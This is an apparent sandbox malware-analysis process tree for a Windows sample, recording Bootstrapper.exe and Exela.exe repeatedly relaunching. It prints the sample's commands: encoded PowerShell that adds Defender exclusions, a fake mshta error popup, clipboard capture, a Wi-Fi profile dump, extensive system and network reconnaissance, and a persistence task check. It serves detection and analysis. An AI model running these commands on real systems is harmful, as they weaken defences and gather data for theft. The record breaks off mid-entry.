        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        11⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2916
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        11⤵
        Executes dropped EXE
        
        PID:5784
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        12⤵
        Executes dropped EXE
        
        PID:5572
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        11⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2920
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        12⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3832
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        12⤵
        System Location Discovery: System Language Discovery
        
        PID:3996
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        12⤵
        Executes dropped EXE
        
        PID:3464
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        13⤵
        Executes dropped EXE
        
        PID:4792
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        12⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2248
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        13⤵
        System Location Discovery: System Language Discovery
        
        PID:2524
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        13⤵
        System Location Discovery: System Language Discovery
        
        PID:3232
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        13⤵
        Executes dropped EXE
        
        PID:2500
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        14⤵
        Executes dropped EXE
        
        PID:3160
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        13⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:5576
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        14⤵
        System Location Discovery: System Language Discovery
        
        PID:972
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        15⤵
        
        PID:1444
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        14⤵
        System Location Discovery: System Language Discovery
        
        PID:328
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        14⤵
        Executes dropped EXE
        
        PID:4740
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        15⤵
        Executes dropped EXE
        
        PID:5340
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        14⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3508
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        15⤵
        System Location Discovery: System Language Discovery
        
        PID:2832
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        15⤵
        System Location Discovery: System Language Discovery
        
        PID:2648
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        15⤵
        Executes dropped EXE
        
        PID:4988
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        16⤵
        Executes dropped EXE
        
        PID:1896
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        15⤵
        System Location Discovery: System Language Discovery
        
        PID:4268
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        16⤵
        System Location Discovery: System Language Discovery
        
        PID:6132
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        16⤵
        
        PID:2212
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        16⤵
        
        PID:556
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        17⤵
        
        PID:2924
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        16⤵
        
        PID:1616
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        17⤵
        
        PID:2176
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        17⤵
        
        PID:2348
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        17⤵
        
        PID:4620
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        18⤵
        
        PID:2360
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        17⤵
        
        PID:5224
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        18⤵
        
        PID:5204
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        18⤵
        
        PID:3500
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        18⤵
        
        PID:3904
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        19⤵
        
        PID:1648
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        18⤵
        
        PID:4188
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        19⤵
        
        PID:1676
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        19⤵
        
        PID:4464
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        19⤵
        
        PID:3380
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        20⤵
        
        PID:3344
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        19⤵
        
        PID:32
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        20⤵
        
        PID:3960
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        20⤵
        
        PID:3428
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        20⤵
        
        PID:2424
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        21⤵
        
        PID:2192
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        22⤵
        
        PID:3004
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        23⤵
        Detects videocard installed
        
        PID:1616
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
        22⤵
        
        PID:4808
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        23⤵
        
        PID:2248
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get Manufacturer
        23⤵
        
        PID:4128
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        22⤵
        
        PID:3904
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "gdb --version"
        22⤵
        
        PID:5340
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        22⤵
        
        PID:2896
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        23⤵
        Enumerates processes with tasklist
        
        PID:5024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
        22⤵
        
        PID:5532
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path Win32_ComputerSystem get Manufacturer
        23⤵
        
        PID:5668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        22⤵
        
        PID:3180
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        23⤵
        
        PID:2920
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        22⤵
        
        PID:4676
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        23⤵
        Enumerates processes with tasklist
        
        PID:2504
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "schtasks /query /TN "ExelaUpdateService""
        22⤵
        
        PID:5200
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /query /TN "ExelaUpdateService"
        23⤵
        
        PID:220
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
        22⤵
        
        PID:4392
        
        C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
        23⤵
        
        PID:2576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        22⤵
        
        PID:3012
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        23⤵
        Enumerates processes with tasklist
        
        PID:5240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        22⤵
        
        PID:4200
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        23⤵
        
        PID:1440
        
        C:\Windows\system32\chcp.com
        
        chcp
        24⤵
        
        PID:5704
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        22⤵
        
        PID:5892
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        23⤵
        
        PID:3500
        
        C:\Windows\system32\chcp.com
        
        chcp
        24⤵
        
        PID:2896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        22⤵
        
        PID:2348
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        23⤵
        Enumerates processes with tasklist
        
        PID:5936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
        22⤵
        Clipboard Data
        
        PID:5532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        23⤵
        Clipboard Data
        
        PID:1196
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        22⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:612
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        23⤵
        
        PID:5784
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        23⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:332
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
        22⤵
        Network Service Discovery
        
        PID:2504
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        23⤵
        Gathers system information
        
        PID:4960
        
        C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        23⤵
        
        PID:1536
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        23⤵
        Collects information from the system
        
        PID:3452
        
        C:\Windows\system32\net.exe
        
        net user
        23⤵
        
        PID:844
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        24⤵
        
        PID:4028
        
        C:\Windows\system32\query.exe
        
        query user
        23⤵
        
        PID:5464
        
        C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        24⤵
        
        PID:5260
        
        C:\Windows\system32\net.exe
        
        net localgroup
        23⤵
        
        PID:2364
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        24⤵
        
        PID:1108
        
        C:\Windows\system32\net.exe
        
        net localgroup administrators
        23⤵
        
        PID:3500
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        24⤵
        
        PID:868
        
        C:\Windows\system32\net.exe
        
        net user guest
        23⤵
        
        PID:2684
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        24⤵
        
        PID:6036
        
        C:\Windows\system32\net.exe
        
        net user administrator
        23⤵
        
        PID:5532
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        24⤵
        
        PID:5484
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic startup get caption,command
        23⤵
        
        PID:1780
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /svc
        23⤵
        Enumerates processes with tasklist
        
        PID:2896
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        23⤵
        Gathers network information
        
        PID:3344
        
        C:\Windows\system32\ROUTE.EXE
        
        route print
        23⤵
        
        PID:4920
        
        C:\Windows\system32\ARP.EXE
        
        arp -a
        23⤵
        Network Service Discovery
        
        PID:1964
        
        C:\Windows\system32\NETSTAT.EXE
        
        netstat -ano
        23⤵
        System Network Connections Discovery
        Gathers network information
        
        PID:2200
        
        C:\Windows\system32\sc.exe
        
        sc query type= service state= all
        23⤵
        Launches sc.exe
        
        PID:1312
        
        C:\Windows\system32\netsh.exe
        
        netsh firewall show state
        23⤵
        Modifies Windows Firewall
        
        PID:5312
        
        C:\Windows\system32\netsh.exe
        
        netsh firewall show config
        23⤵
        Modifies Windows Firewall
        
        PID:2916
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        22⤵
        
        PID:5852
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        23⤵
        
        PID:4796
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        22⤵
        
        PID:728
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        23⤵
        
        PID:3904
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        20⤵
        
        PID:4740
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        21⤵
        
        PID:2212
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
